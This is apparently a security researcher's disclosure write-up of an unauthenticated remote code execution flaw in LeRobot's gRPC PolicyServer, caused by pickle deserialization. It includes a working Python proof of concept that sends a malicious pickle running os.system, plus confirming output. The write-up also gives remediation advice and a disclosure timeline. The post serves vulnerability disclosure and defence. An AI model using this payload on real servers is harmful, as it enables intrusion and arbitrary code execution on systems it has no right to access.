CVE-2026-25874: HuggingFace LeRobot Unauthenticated RCE via Pickle Deserialization in gRPC PolicyServer
Table of Contents
Introduction
Continuing my audit of pickle deserialization vulnerabilities in the ML/AI ecosystem, I found a critical RCE in LeRobot, HuggingFace’s open-source robotics framework for ML (Machine Learning) with over 21,500 stars on GitHub.
The async inference module exposes a gRPC server that calls pickle.loads() on attacker-controlled data in two separate RPC handlers, without any authentication. The gRPC channel uses add_insecure_port() - no TLS, no auth, nothing. Anyone with network access to the port gets code execution on the server.
Target: huggingface/lerobot Stars: 21,500+ Package: lerobot 0.4.3 on PyPI Severity: Critical (CVSS 3.1: 9.8)
What is LeRobot?
LeRobot is HuggingFace’s platform for real-world robotics. It provides tools for training robot policies using machine learning, with the goal of making robotics accessible to the broader ML community. The project includes an async inference module that allows offloading policy computation to a separate GPU server - a robot sends camera observations to the server, and the server returns motor actions.
The async inference architecture consists of:
- A PolicyServer (
policy_server.py) running on a GPU machine, serving policy inference via gRPC - A RobotClient (
robot_client.py) running on the robot, sending observations and receiving actions
The communication between them uses protobuf messages with raw bytes fields, serialized and deserialized using Python’s pickle module.
The Vulnerability
Two RPC handlers in the PolicyServer call pickle.loads() on data received from the network.
SendPolicyInstructions at line 127:
def SendPolicyInstructions(self, request, context):
# ...
policy_specs = pickle.loads(request.data) # nosec
if not isinstance(policy_specs, RemotePolicyConfig): # checked AFTER deserialization
raise TypeError(...)
SendObservations at line 185:
def SendObservations(self, request_iterator, context):
# ...
received_bytes = receive_bytes_in_chunks(request_iterator, None, self.shutdown_event, self.logger)
timed_observation = pickle.loads(received_bytes) # nosec
Both calls happen before any type validation. The developers acknowledged the risk with # nosec comments (which suppress Bandit security warnings) but implemented no actual mitigation.
The gRPC server uses add_insecure_port() - no TLS, no authentication. The protobuf messages use raw bytes fields (PolicySetup.data, Observation.data) to carry the pickled objects.
What These Endpoints Actually Accept
Here’s the irony: neither endpoint needs pickle at all.
SendPolicyInstructions expects a RemotePolicyConfig dataclass containing:
policy_type: a string (e.g., “act”, “diffusion”)device: a string (e.g., “cuda”)pretrained_name_or_path: a string (HuggingFace model path)- A few other string/int/dict fields
SendObservations expects a TimedObservation containing:
- Camera images as tensors
- Motor positions as tensors
- A timestamp
The first could trivially be JSON or native protobuf fields. The second could use safetensors or numpy serialization. There’s no technical reason to use pickle here - it was just the path of least resistance.
Proof of Concept
Setting Up the Target
I tested against the real lerobot==0.4.3 package installed from PyPI. Zero code modifications - stock install, stock command:
pip install lerobot
python -m lerobot.async_inference.policy_server --host=0.0.0.0 --port=50051
Proto Definition
The gRPC service is defined as:
syntax = "proto3";
package transport;
service AsyncInference {
rpc SendObservations(stream Observation) returns (Empty);
rpc GetActions(Empty) returns (Actions);
rpc SendPolicyInstructions(PolicySetup) returns (Empty);
rpc Ready(Empty) returns (Empty);
}
message PolicySetup { bytes data = 1; }
message Observation {
TransferState transfer_state = 1;
bytes data = 2;
}
message Actions { bytes data = 1; }
message Empty {}
The Exploit
import os
import pickle
import grpc
from transport import services_pb2, services_pb2_grpc
class RCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return (os.system, (self.cmd,))
channel = grpc.insecure_channel("TARGET:50051")
stub = services_pb2_grpc.AsyncInferenceStub(channel)
# Initialize server state
stub.Ready(services_pb2.Empty())
# Send malicious pickle via SendPolicyInstructions
payload = pickle.dumps(RCE("id > /tmp/lerobot_pwned"))
stub.SendPolicyInstructions(services_pb2.PolicySetup(data=payload))
Result
$ python exploit.py --target 127.0.0.1:50051 --method both
[*] Target: 127.0.0.1:50051
[*] Command: id > /tmp/lerobot_pwned
[*] Calling Ready() to initialize server...
[+] Server is ready
[*] Sending malicious pickle via SendPolicyInstructions...
[*] Payload size: 61 bytes
[+] RPC error (expected - RCE already executed): StatusCode.UNKNOWN
[*] Sending malicious pickle via SendObservations...
[+] RPC error (expected - RCE already executed): StatusCode.UNKNOWN
[*] Done
$ cat /tmp/lerobot_pwned
uid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),4(adm),24(cdrom),27(sudo),...
Both vectors confirmed. The server returns StatusCode.UNKNOWN because after pickle.loads() executes the payload, the isinstance() check fails (the deserialized object is an int from os.system(), not a RemotePolicyConfig). But the RCE has already executed before the type validation.
Prior Disclosure Attempts
I wasn’t the first to notice security issues in this codebase. There’s an open issue #2745 on the repository where Chenpinji reports having submitted a vulnerability via GitHub’s Security tab in December 2025 with no response. A maintainer acknowledged on January 7, 2026 that “this does pose a security risk” and that “that part of the codebase needs to be almost entirely refactored.” It’s possible this refers to the same vulnerability, but the private report’s contents aren’t visible so I can’t confirm. In either case, no fix or CVE has been issued and the last interaction dates from January 12 with no further response.
There is one existing CVE for a different component in the same repository: CVE-2025-10772 covers missing authentication in lekiwi_remote.py (ZeroMQ). The pickle deserialization RCE in policy_server.py (gRPC) is a separate vulnerability.
Attack Surface
The default configuration binds to localhost:8080, which limits exposure for casual deployments. But the entire point of the async inference module is to offload computation to a separate GPU server - the documentation describes deploying the PolicyServer on a dedicated machine while the robot client runs elsewhere. In that scenario, the server must be network-accessible, and users will bind to 0.0.0.0 (as the --host flag supports).
There’s no need for sophisticated fingerprinting to find these servers either. An attacker on the network can just spray the payload at any port. The gRPC server will accept the connection and deserialize the pickle before rejecting it.
Suggested Fix
- For
PolicySetup: Replace pickle with JSON or protobuf-native fields for theRemotePolicyConfigdataclass. All its fields are strings, ints, and dicts - nothing needs pickle. - For
Observation/Actions: Usesafetensorsor numpy serialization for tensor data, with JSON metadata for timestamps. - Add TLS: Replace
add_insecure_port()withadd_secure_port()using server credentials. - Add authentication: Implement gRPC interceptors for token-based auth.
Timeline
- 2025-12 (approx): Another researcher submits a private vulnerability report via GitHub Security tab (no response from vendor)
- 2026-01-07: Maintainer acknowledges security risk in public issue, no fix
- 2026-02-11: Vulnerability independently discovered and confirmed via PoC against real lerobot 0.4.3 from PyPI
- 2026-02-11: CVE request submitted to VulnCheck
- 2026-04-23: CVE-2026-25874 published
Takeaways
This is the same systemic pattern I keep seeing: ML frameworks using pickle for network serialization because it’s convenient. The # nosec comments tell you everything - the developers knew it was a risk, the linter told them it was a risk, and they suppressed the warning instead of fixing it.
The irony here is hard to overstate. HuggingFace created safetensors - a serialization format designed specifically because pickle is dangerous for ML data. Their own documentation, their own blog posts, their own library all say the same thing: don’t use pickle for untrusted data. And yet their own robotics framework deserializes attacker-controlled network input with pickle.loads(), with # nosec comments to silence the tool that was trying to warn them. The company that built the safe alternative ships the unsafe pattern in their own code.
The async inference module was added in September 2025 and has had no security fixes since. For a project under the HuggingFace umbrella with 21,500+ stars, that’s a significant gap.
If you’re running LeRobot’s async inference server on anything other than a fully trusted local network, you should be aware that any machine on that network can execute arbitrary code on your GPU server.